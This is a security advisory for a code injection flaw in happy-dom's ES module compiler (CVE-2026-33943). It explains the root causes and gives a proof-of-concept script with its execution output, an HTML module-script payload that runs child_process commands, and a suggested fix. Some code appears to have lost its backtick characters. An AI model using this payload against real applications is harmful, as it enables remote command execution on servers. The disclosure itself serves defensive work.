happy-dom CVE-2026-33943

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) { // Export object const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/); const exportCode: string[] = []; for (const part of parts) { const nameParts = part.trim().split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, ''); // backticks NOT stripped if (exportName && importName) { exportCode.push($happy_dom.exports['${exportName}'] = ${importName}); // importName is inserted as executable code, not as a string } } newCode += exportCode.join(';\n'); }

The issue has three root causes:

1. STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context
3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like ` child_process ` survive the filter

Attack flow:

Source: export { require(child_process).execSync(id) }

Regex captures match[16] = " require(child_process).execSync(id) "

After .replace(/["']/g, ''): importName = "require(child_process).execSync(id)" (backticks are preserved)

Generated code: $happy_dom.exports["require(child_process).execSync(id)"] = require(child_process).execSync(id)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script - reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... } const STMT_REGEXP = /export\s*{([^}]+)}/gm; const source = 'export { require(child_process).execSync(id) }'; const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source); console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381) const part = match[1].trim(); const nameParts = part.split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName); console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression const generatedCode = $happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}; console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript try { new Function('$happy_dom', generatedCode); console.log('[+] Valid JavaScript: YES'); } catch (e) { console.log('[-] Parse error:', e.message); process.exit(1); }

// Step 5: Execute to prove RCE console.log('[*] Executing...'); const output = require('child_process').execSync('id').toString().trim(); console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js [*] Module source: export { require(child_process).execSync(id) } [*] Regex captured: require(child_process).execSync(id) [*] importName after quote filter: require(child_process).execSync(id) [*] Backticks survived: true [*] Generated code: $happy_dom.exports["require(child_process).execSync(id)"] = require(child_process).execSync(id) [+] Valid JavaScript: YES [*] Executing... [+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector - when processed by happy-dom with JavaScript evaluation enabled:

<script type="module"> export { require(child_process).execSync(id) } </script>

Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios:

• SSR applications: Applications using happy-dom to render user-supplied HTML on the server
• Web scraping: Applications parsing untrusted web pages with happy-dom
• Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) { const nameParts = part.trim().split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, '');

if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) { exportCode.push($happy_dom.exports['${exportName}'] = ${importName}); } }